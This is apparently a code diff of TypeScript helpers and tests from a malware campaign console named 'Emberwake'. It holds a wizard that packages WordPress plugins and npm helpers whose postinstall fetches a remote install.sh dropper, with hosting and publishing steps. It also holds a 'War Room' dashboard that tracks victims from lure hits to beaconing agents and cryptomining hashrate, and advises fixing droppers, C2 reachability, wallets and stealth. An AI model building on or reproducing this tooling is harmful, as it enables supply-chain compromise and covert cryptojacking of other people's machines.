if (!anchor) return SPREAD_TECHNIQUES_DOC;
return `${SPREAD_TECHNIQUES_DOC}#${anchor}`;
}

View File

@@ -0,0 +1,82 @@
import { describe, expect, it } from 'vitest';
import {
deploymentReelActiveIndex,
deploymentReelSteps,
deploymentReelStepStatus,
deploymentReelTotalDurationMs,
deploymentReelUploadWikiUrl,
deploymentReelVisibleCount,
emberwakeWarRoomUrl,
npmInstallShUrl,
npmPackageName,
sanitizeExportSlug,
supplyChainZipFilename,
wpCampaignSlug,
wpDownloadUrl,
} from './supplyChainExport';
describe('supplyChainExport', () => {
it('sanitizeExportSlug matches server rules', () => {
expect(sanitizeExportSlug('My Blog')).toBe('my-blog');
expect(sanitizeExportSlug('')).toBe('site');
expect(sanitizeExportSlug('---')).toBe('site');
});
it('builds WordPress campaign and download URL', () => {
expect(wpCampaignSlug('My Blog')).toBe('wp-my-blog');
expect(wpDownloadUrl('https://deck.example:8989', 'My Blog', 'build-abc')).toBe(
'https://deck.example:8989/get?c=wp-my-blog&pin=build-abc',
);
});
it('builds npm package name and install.sh URL', () => {
expect(npmPackageName('ci-bootstrap')).toBe('@aetherforge/ci-bootstrap-helper');
expect(npmInstallShUrl('https://deck.example', 'ci-bootstrap', 'pin-1')).toBe(
'https://deck.example/install.sh?pin=pin-1&c=ci-bootstrap',
);
});
it('names zip files', () => {
expect(supplyChainZipFilename('wordpress', 'my-blog')).toBe('my-blog-wordpress-plugin.zip');
expect(supplyChainZipFilename('npm', 'ci-bootstrap')).toBe('ci-bootstrap-npm-helper.zip');
});
});
describe('deploymentReel helpers', () => {
it('builds three reel steps with wiki upload and war room links', () => {
const wp = deploymentReelSteps('wordpress');
expect(wp).toHaveLength(3);
expect(wp[0].label).toBe('Download ZIP');
expect(wp[1].href).toBe(deploymentReelUploadWikiUrl('wordpress'));
expect(wp[2].href).toBe(emberwakeWarRoomUrl());
const npm = deploymentReelSteps('npm');
expect(npm[1].href).toContain('#npm-hosting-checklist');
expect(emberwakeWarRoomUrl()).toBe('/emberwake#campaign-war-room');
});
it('reveals checkmarks sequentially by elapsed time', () => {
expect(deploymentReelVisibleCount(0)).toBe(0);
expect(deploymentReelVisibleCount(399)).toBe(0);
expect(deploymentReelVisibleCount(400)).toBe(1);
expect(deploymentReelVisibleCount(1299)).toBe(1);
expect(deploymentReelVisibleCount(1300)).toBe(2);
expect(deploymentReelVisibleCount(2200)).toBe(3);
expect(deploymentReelVisibleCount(9999)).toBe(3);
});
it('maps visible count to step status', () => {
expect(deploymentReelStepStatus(0, 0)).toBe('active');
expect(deploymentReelStepStatus(1, 0)).toBe('pending');
expect(deploymentReelStepStatus(0, 1)).toBe('done');
expect(deploymentReelStepStatus(1, 1)).toBe('active');
expect(deploymentReelStepStatus(2, 3)).toBe('done');
});
it('tracks active index and total duration', () => {
expect(deploymentReelActiveIndex(0)).toBe(0);
expect(deploymentReelActiveIndex(2)).toBe(2);
expect(deploymentReelActiveIndex(3)).toBe(-1);
expect(deploymentReelTotalDurationMs()).toBe(400 + 3 * 900);
});
});

View File

@@ -0,0 +1,234 @@
/** Supply-chain export wizard helpers (WordPress plugin + npm postinstall). */
import { spreadTechniqueDocUrl } from './spreadTechniques';
export type SupplyChainFamily = 'wordpress' | 'npm';
export const SUPPLY_CHAIN_WIZARD_STEPS = [
'pick-build',
'configure',
'download',
'host',
] as const;
export type SupplyChainWizardStep = (typeof SUPPLY_CHAIN_WIZARD_STEPS)[number];
export const SUPPLY_CHAIN_STEP_LABELS: Record<SupplyChainWizardStep, string> = {
'pick-build': 'Pick build',
configure: 'Configure site/campaign',
download: 'Download ZIP',
host: 'Copy hosting instructions',
};
/** Matches server sanitizeExportSlug in spread_export.go */
export function sanitizeExportSlug(s: string): string {
let slug = s.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^[-.]+|[-.]+$/g, '');
if (!slug) slug = 'site';
if (slug.length > 48) slug = slug.slice(0, 48);
return slug;
}
export function wpCampaignSlug(siteName: string): string {
return `wp-${sanitizeExportSlug(siteName)}`;
}
export function wpDownloadUrl(serverUrl: string, siteName: string, buildId: string): string {
const base = serverUrl.replace(/\/$/, '');
const c = wpCampaignSlug(siteName);
let url = `${base}/get?c=${encodeURIComponent(c)}`;
const pin = buildId.trim();
if (pin) url += `&pin=${encodeURIComponent(pin)}`;
return url;
}
export function npmPackageName(campaign: string): string {
const slug = sanitizeExportSlug(campaign || 'npm-helper');
return `@aetherforge/${slug}-helper`;
}
export function npmInstallShUrl(serverUrl: string, campaign: string, buildId: string): string {
const base = serverUrl.replace(/\/$/, '');
const parts: string[] = [];
const pin = buildId.trim();
const slug = campaign.trim();
if (pin) parts.push(`pin=${encodeURIComponent(pin)}`);
if (slug) parts.push(`c=${encodeURIComponent(slug)}`);
return parts.length ? `${base}/install.sh?${parts.join('&')}` : `${base}/install.sh`;
}
export function supplyChainZipFilename(family: SupplyChainFamily, siteOrCampaign: string): string {
const slug = sanitizeExportSlug(siteOrCampaign || (family === 'wordpress' ? 'site' : 'npm-helper'));
return family === 'wordpress' ? `${slug}-wordpress-plugin.zip` : `${slug}-npm-helper.zip`;
}
export function supplyChainWikiUrl(family: SupplyChainFamily): string {
return family === 'wordpress'
? spreadTechniqueDocUrl('wordpress-plugin-supply-chain', true)
: spreadTechniqueDocUrl('npm-postinstall-helper', true);
}
export function supplyChainHostingChecklistUrl(family: SupplyChainFamily): string {
const anchor = family === 'wordpress' ? 'wordpress-hosting-checklist' : 'npm-hosting-checklist';
return `${supplyChainWikiUrl(family).split('#')[0]}#${anchor}`;
}
export interface HostingChecklistItem {
id: string;
label: string;
}
export function hostingChecklist(family: SupplyChainFamily): HostingChecklistItem[] {
if (family === 'wordpress') {
return [
{ id: 'unzip', label: 'Unzip the downloaded plugin archive locally' },
{ id: 'upload', label: 'WP Admin → Plugins → Add New → Upload Plugin' },
{ id: 'activate', label: 'Activate the plugin on your owned WordPress host' },
{ id: 'verify', label: 'Confirm admin notice links to /get?c=wp-{site} on your deck' },
{ id: 'track', label: 'Track wp-{site} hits in Emberwake → Campaign War Room' },
];
}
return [
{ id: 'unzip', label: 'Unzip the npm helper package template' },
{ id: 'name', label: 'Adjust package.json name/scope if needed' },
{ id: 'publish', label: 'Publish to a registry you control (private npm, Verdaccio, GitHub Packages)' },
{ id: 'dep', label: 'Add as dependency only in authorized CI/dev environments' },
{ id: 'verify', label: 'Run npm install and confirm postinstall curls install.sh' },
];
}
export interface HostingInstructionBlock {
title: string;
body: string;
}
export function hostingInstructions(
family: SupplyChainFamily,
opts: { serverUrl: string; siteName: string; campaign: string; buildId: string },
): HostingInstructionBlock[] {
const { serverUrl, siteName, campaign, buildId } = opts;
if (family === 'wordpress') {
const slug = sanitizeExportSlug(siteName);
const dl = wpDownloadUrl(serverUrl, siteName, buildId);
return [
{
title: 'Upload path',
body: `Plugins → Add New → Upload Plugin → choose ${slug}-wordpress-plugin.zip → Install Now → Activate`,
},
{
title: 'Campaign tag',
body: `War Room tracks connects as ?c=${wpCampaignSlug(siteName)}`,
},
{
title: 'Download URL (plugin links here)',
body: dl,
},
{
title: 'Wiki playbook',
body: supplyChainWikiUrl('wordpress'),
},
];
}
const pkg = npmPackageName(campaign);
const install = npmInstallShUrl(serverUrl, campaign, buildId);
return [
{
title: 'Package name',
body: pkg,
},
{
title: 'Publish',
body: `cd unpacked-folder && npm publish --access restricted`,
},
{
title: 'postinstall target',
body: install,
},
{
title: 'Wiki playbook',
body: supplyChainWikiUrl('npm'),
},
];
}
export function wizardStepIndex(step: SupplyChainWizardStep): number {
return SUPPLY_CHAIN_WIZARD_STEPS.indexOf(step);
}
export function wizardStepStatus(
step: SupplyChainWizardStep,
current: SupplyChainWizardStep,
): 'pending' | 'active' | 'done' {
const idx = wizardStepIndex(step);
const cur = wizardStepIndex(current);
if (idx < cur) return 'done';
if (idx === cur) return 'active';
return 'pending';
}
/** Post-export deployment reel — three beats after a successful ZIP export. */
export type DeploymentReelStepId = 'download' | 'upload' | 'verify-war-room';
export interface DeploymentReelStep {
id: DeploymentReelStepId;
label: string;
/** When set, step label links to wiki or in-app anchor. */
href?: string;
}
export const DEPLOYMENT_REEL_STEP_IDS: DeploymentReelStepId[] = [
'download',
'upload',
'verify-war-room',
];
export const DEPLOYMENT_REEL_INITIAL_DELAY_MS = 400;
export const DEPLOYMENT_REEL_STEP_MS = 900;
/** Wiki anchor for the upload/publish beat in the deployment reel. */
export function deploymentReelUploadWikiUrl(family: SupplyChainFamily): string {
const anchor = family === 'wordpress' ? 'wordpress-hosting-checklist' : 'npm-hosting-checklist';
return `${supplyChainWikiUrl(family).split('#')[0]}#${anchor}`;
}
/** In-app scroll target for War Room verification. */
export const EMBERWAKE_WAR_ROOM_HASH = '#campaign-war-room';
export function emberwakeWarRoomUrl(): string {
return `/emberwake${EMBERWAKE_WAR_ROOM_HASH}`;
}
export function deploymentReelSteps(family: SupplyChainFamily): DeploymentReelStep[] {
return [
{ id: 'download', label: 'Download ZIP' },
{ id: 'upload', label: 'Upload here', href: deploymentReelUploadWikiUrl(family) },
{ id: 'verify-war-room', label: 'Verify hit in War Room', href: emberwakeWarRoomUrl() },
];
}
/** How many reel steps should show a completed checkmark at `elapsedMs`. */
export function deploymentReelVisibleCount(elapsedMs: number, stepCount = DEPLOYMENT_REEL_STEP_IDS.length): number {
if (elapsedMs < DEPLOYMENT_REEL_INITIAL_DELAY_MS) return 0;
const afterStart = elapsedMs - DEPLOYMENT_REEL_INITIAL_DELAY_MS;
const count = Math.floor(afterStart / DEPLOYMENT_REEL_STEP_MS) + 1;
return Math.min(Math.max(count, 0), stepCount);
}
/** Index (0-based) of the step currently animating, or -1 before start / after all done. */
export function deploymentReelActiveIndex(visibleCount: number, stepCount = DEPLOYMENT_REEL_STEP_IDS.length): number {
if (visibleCount <= 0) return 0;
if (visibleCount >= stepCount) return -1;
return visibleCount;
}
export function deploymentReelStepStatus(
stepIndex: number,
visibleCount: number,
): 'pending' | 'active' | 'done' {
if (stepIndex < visibleCount) return 'done';
if (stepIndex === visibleCount && visibleCount < DEPLOYMENT_REEL_STEP_IDS.length) return 'active';
return 'pending';
}
export function deploymentReelTotalDurationMs(stepCount = DEPLOYMENT_REEL_STEP_IDS.length): number {
return DEPLOYMENT_REEL_INITIAL_DELAY_MS + stepCount * DEPLOYMENT_REEL_STEP_MS;
}

View File

@@ -0,0 +1,346 @@
import { describe, it, expect } from 'vitest';
import type { WarRoomCampaign } from './warRoom';
import {
conversionPct,
detectFunnelLeaks,
firstBeaconCount,
formatHashrate,
funnelPipeWidth,
funnelStages,
miningCount,
formatOdometerDelta,
odometerDurationMs,
odometerEase,
odometerLerp,
sparklineBarHeight,
sparklineMax,
staggerDelayMs,
stageConversionPct,
} from './warRoom';
function campaign(partial: Partial<WarRoomCampaign> & Pick<WarRoomCampaign, 'campaign'>): WarRoomCampaign {
return {
hits: 0,
downloads: 0,
agents: 0,
online: 0,
hashrate: 0,
conversion_pct: 0,
daily_hits: [],
...partial,
};
}
describe('warRoom helpers', () => {
it('computes conversion percentage', () => {
expect(conversionPct(3, 10)).toBe(30);
expect(conversionPct(1, 3)).toBe(33.3);
expect(conversionPct(0, 0)).toBe(0);
});
it('computes stage conversion percentage', () => {
expect(stageConversionPct(5, 20)).toBe(25);
expect(stageConversionPct(0, 0)).toBe(0);
expect(stageConversionPct(3, 10)).toBe(30);
});
it('formats hashrate tiers', () => {
expect(formatHashrate(0)).toBe('—');
expect(formatHashrate(850)).toBe('850 H/s');
expect(formatHashrate(12_500)).toBe('12.5 kH/s');
expect(formatHashrate(2_400_000)).toBe('2.40 MH/s');
});
it('scales sparkline bars', () => {
const max = sparklineMax([2, 8, 4]);
expect(max).toBe(8);
expect(sparklineBarHeight(8, max)).toBe(100);
expect(sparklineBarHeight(0, max)).toBe(4);
});
it('builds five-stage funnel with rates', () => {
const c = campaign({
campaign: 'wave-a',
hits: 100,
downloads: 40,
first_beacon: 10,
mining: 8,
agents: 10,
hashrate: 5000,
});
const stages = funnelStages(c);
expect(stages).toHaveLength(5);
expect(stages[0].rateFromPrev).toBeNull();
expect(stages[1].rateFromPrev).toBe(40);
expect(stages[2].rateFromPrev).toBe(25);
expect(stages[3].rateFromPrev).toBe(80);
expect(stages[4].display).toBe('5.0 kH/s');
});
it('falls back first_beacon and mining from legacy fields', () => {
const c = campaign({ campaign: 'legacy', agents: 4, hashrate: 900 });
expect(firstBeaconCount(c)).toBe(4);
expect(miningCount(c)).toBe(1);
});
it('sizes funnel pipes relative to hits', () => {
expect(funnelPipeWidth(50, 100)).toBe(50);
expect(funnelPipeWidth(0, 100)).toBe(8);
expect(funnelPipeWidth(1200, 0, true)).toBe(100);
expect(funnelPipeWidth(0, 0, true)).toBe(8);
});
it('formats odometer deltas', () => {
expect(formatOdometerDelta(10, 10)).toBeNull();
expect(formatOdometerDelta(10, 13)).toBe('+3');
expect(formatOdometerDelta(100, 95)).toBe('5');
expect(formatOdometerDelta(0, 12500)).toBe('+12.5k');
expect(formatOdometerDelta(1_000_000, 2_500_000)).toBe('+1.5M');
expect(formatOdometerDelta(33.2, 34.7)).toBe('+1.5');
});
it('staggers animation delays per card and stage', () => {
expect(staggerDelayMs(0, 0)).toBe(0);
expect(staggerDelayMs(1, 2)).toBe(110 + 90);
expect(staggerDelayMs(2, 3, 50)).toBe(220 + 150);
});
it('scales odometer duration with delta magnitude', () => {
expect(odometerDurationMs(2)).toBe(380);
expect(odometerDurationMs(20)).toBe(560);
expect(odometerDurationMs(150)).toBe(720);
expect(odometerDurationMs(500)).toBe(920);
});
it('eases and lerps odometer values', () => {
expect(odometerEase(0)).toBe(0);
expect(odometerEase(1)).toBe(1);
expect(odometerEase(0.5)).toBeCloseTo(0.875, 3);
expect(odometerLerp(10, 20, 0)).toBe(10);
expect(odometerLerp(10, 20, 1)).toBe(20);
expect(odometerLerp(0, 100, 0.5)).toBeCloseTo(87.5, 1);
});
});
describe('detectFunnelLeaks', () => {
it('flags hits with no downloads', () => {
const leaks = detectFunnelLeaks(campaign({ campaign: 'a', hits: 25, downloads: 0 }));
expect(leaks.some((l) => l.stage === 'hits→downloads')).toBe(true);
expect(leaks[0].action).toMatch(/waterhole|dropper/i);
});
it('flags critical leak when many hits but zero beacons', () => {
const leaks = detectFunnelLeaks(campaign({ campaign: 'b', hits: 60, downloads: 12 }));
const critical = leaks.find((l) => l.stage === 'hits→beacon');
expect(critical?.severity).toBe('critical');
});
it('flags downloads without beacon', () => {
const leaks = detectFunnelLeaks(campaign({ campaign: 'c', hits: 10, downloads: 8 }));
expect(leaks.some((l) => l.stage === 'downloads→beacon')).toBe(true);
});
it('flags beacons that never mine', () => {
const leaks = detectFunnelLeaks(
campaign({ campaign: 'd', hits: 30, downloads: 15, first_beacon: 5, agents: 5, mining: 0 }),
);
expect(leaks.some((l) => l.stage === 'beacon→mining')).toBe(true);
});
it('returns empty when funnel is healthy', () => {
const leaks = detectFunnelLeaks(
campaign({
campaign: 'ok',
hits: 10,
downloads: 5,
first_beacon: 2,
mining: 2,
agents: 2,
hashrate: 3000,
online: 1,
}),
);
expect(leaks).toHaveLength(0);
});
it('sorts critical leaks before warnings', () => {
const leaks = detectFunnelLeaks(
campaign({ campaign: 'e', hits: 80, downloads: 30, first_beacon: 0, agents: 0 }),
);
expect(leaks.length).toBeGreaterThan(0);
expect(leaks[0].severity).toBe('critical');
});
});

View File

@@ -0,0 +1,231 @@
/** War Room funnel helpers for Emberwake campaign dashboard. */
export interface WarRoomCampaign {
campaign: string;
hits: number;
downloads: number;
first_beacon?: number;
mining?: number;
agents: number;
online: number;
hashrate: number;
conversion_pct: number;
daily_hits: number[];
last_activity?: string;
pins?: string[];
}
export interface WarRoomResponse {
generated_at: string;
days: number;
campaigns: WarRoomCampaign[];
}
export type FunnelStageId = 'hits' | 'downloads' | 'first_beacon' | 'mining' | 'hashrate';
export interface FunnelStage {
id: FunnelStageId;
label: string;
value: number;
display: string;
/** Conversion from previous stage (0 for first stage). */
rateFromPrev: number | null;
}
export type FunnelLeakSeverity = 'warn' | 'critical';
export interface FunnelLeak {
stage: string;
severity: FunnelLeakSeverity;
message: string;
action: string;
}
/** Agents ÷ hits × 100, rounded to one decimal. */
export function conversionPct(agents: number, hits: number): number {
if (hits <= 0) return 0;
return Math.round((agents / hits) * 1000) / 10;
}
/** Stage-to-stage conversion %, rounded to one decimal. */
export function stageConversionPct(to: number, from: number): number {
if (from <= 0) return 0;
return Math.round((to / from) * 1000) / 10;
}
/** Resolved first-beacon count (falls back to agents for older payloads). */
export function firstBeaconCount(c: WarRoomCampaign): number {
if (c.first_beacon != null) return c.first_beacon;
return c.agents ?? 0;
}
/** Resolved mining count (agents with hashrate > 0). */
export function miningCount(c: WarRoomCampaign): number {
if (c.mining != null) return c.mining;
return c.hashrate > 0 ? 1 : 0;
}
/** Left-to-right funnel stages for a campaign card. */
export function funnelStages(c: WarRoomCampaign): FunnelStage[] {
const beacon = firstBeaconCount(c);
const mining = miningCount(c);
const hits = c.hits ?? 0;
const downloads = c.downloads ?? 0;
return [
{ id: 'hits', label: 'Hits', value: hits, display: String(hits), rateFromPrev: null },
{
id: 'downloads',
label: 'Downloads',
value: downloads,
display: String(downloads),
rateFromPrev: stageConversionPct(downloads, hits),
},
{
id: 'first_beacon',
label: 'First beacon',
value: beacon,
display: String(beacon),
rateFromPrev: stageConversionPct(beacon, downloads),
},
{
id: 'mining',
label: 'Mining',
value: mining,
display: String(mining),
rateFromPrev: stageConversionPct(mining, beacon),
},
{
id: 'hashrate',
label: 'Hashrate',
value: c.hashrate ?? 0,
display: formatHashrate(c.hashrate),
rateFromPrev: mining > 0 && (c.hashrate ?? 0) > 0 ? 100 : stageConversionPct(c.hashrate > 0 ? 1 : 0, mining),
},
];
}
/** Max pipe fill width (0100) relative to funnel entry hits. */
export function funnelPipeWidth(stageValue: number, hits: number, isHashrate = false): number {
if (isHashrate) {
return stageValue > 0 ? 100 : 8;
}
if (hits <= 0) return stageValue > 0 ? 100 : 8;
return Math.max(8, Math.round((stageValue / hits) * 100));
}
/**
* Detect funnel leaks — actionable callouts when a stage drops sharply.
* Returns highest-severity leaks first.
*/
export function detectFunnelLeaks(c: WarRoomCampaign): FunnelLeak[] {
const hits = c.hits ?? 0;
const downloads = c.downloads ?? 0;
const beacon = firstBeaconCount(c);
const mining = miningCount(c);
const leaks: FunnelLeak[] = [];
if (hits >= 50 && beacon === 0) {
leaks.push({
stage: 'hits→beacon',
severity: 'critical',
message: `${hits} hits but zero agents — funnel dead before beacon.`,
action: 'Verify dropper URL, install script, and C2 reachability from target network.',
});
} else if (hits >= 20 && downloads === 0) {
leaks.push({
stage: 'hits→downloads',
severity: 'warn',
message: `${hits} page hits with no downloads.`,
action: 'Check lure CTA, blocked hosts, or broken /get link on the waterhole.',
});
}
if (downloads >= 5 && beacon === 0) {
leaks.push({
stage: 'downloads→beacon',
severity: 'critical',
message: `${downloads} downloads but no first beacon.`,
action: 'Worker may fail install — confirm server URL, TLS, and agent binary for target OS.',
});
}
if (beacon >= 3 && mining === 0) {
leaks.push({
stage: 'beacon→mining',
severity: 'warn',
message: `${beacon} agents connected but none mining.`,
action: 'Check pool/wallet in build, idle policy, GPU drivers, or Crucible schedule.',
});
}
if (beacon > 0 && mining > 0 && (c.hashrate ?? 0) <= 0 && (c.online ?? 0) === 0) {
leaks.push({
stage: 'mining→hashrate',
severity: 'warn',
message: 'Agents mined before but fleet is offline with zero hashrate.',
action: 'Fleet may have been killed — re-deploy or check stealth / idle resume rules.',
});
}
const order: Record<FunnelLeakSeverity, number> = { critical: 0, warn: 1 };
leaks.sort((a, b) => order[a.severity] - order[b.severity]);
return leaks;
}
/** Compact hashrate for table cells (H/s). */
export function formatHashrate(hs: number): string {
if (!hs || hs <= 0) return '—';
if (hs >= 1_000_000) return `${(hs / 1_000_000).toFixed(2)} MH/s`;
if (hs >= 1_000) return `${(hs / 1_000).toFixed(1)} kH/s`;
return `${Math.round(hs)} H/s`;
}
/** Max value in a daily hits series (for sparkline scaling). */
export function sparklineMax(values: number[]): number {
if (!values.length) return 1;
return Math.max(1, ...values);
}
/** Inline height % for CSS bar sparkline (0100). */
export function sparklineBarHeight(value: number, max: number): number {
if (max <= 0 || value <= 0) return 4;
return Math.max(8, Math.round((value / max) * 100));
}
/** Compact delta label for odometer tick-ups (null when unchanged). */
export function formatOdometerDelta(prev: number, next: number): string | null {
const delta = next - prev;
if (delta === 0 || !Number.isFinite(delta)) return null;
const sign = delta > 0 ? '+' : '';
const abs = Math.abs(delta);
if (abs >= 1_000_000) return `${sign}${(abs / 1_000_000).toFixed(1)}M`;
if (abs >= 10_000) return `${sign}${(abs / 1_000).toFixed(1)}k`;
if (Number.isInteger(abs) || abs >= 100) return `${sign}${Math.round(abs)}`;
return `${sign}${abs.toFixed(1)}`;
}
/** Stagger delay (ms) for funnel card stage animations. */
export function staggerDelayMs(cardIndex: number, itemIndex: number, baseMs = 45): number {
return cardIndex * 110 + itemIndex * baseMs;
}
/** Eased tick duration scales with magnitude of change. */
export function odometerDurationMs(delta: number): number {
const abs = Math.abs(delta);
if (abs <= 3) return 380;
if (abs <= 25) return 560;
if (abs <= 200) return 720;
return 920;
}
/** Cubic ease-out for odometer interpolation (0 → 1). */
export function odometerEase(t: number): number {
const clamped = Math.min(1, Math.max(0, t));
return 1 - (1 - clamped) ** 3;
}
/** Interpolate between two numeric endpoints with odometer easing. */
export function odometerLerp(from: number, to: number, progress: number): number {
return from + (to - from) * odometerEase(progress);
}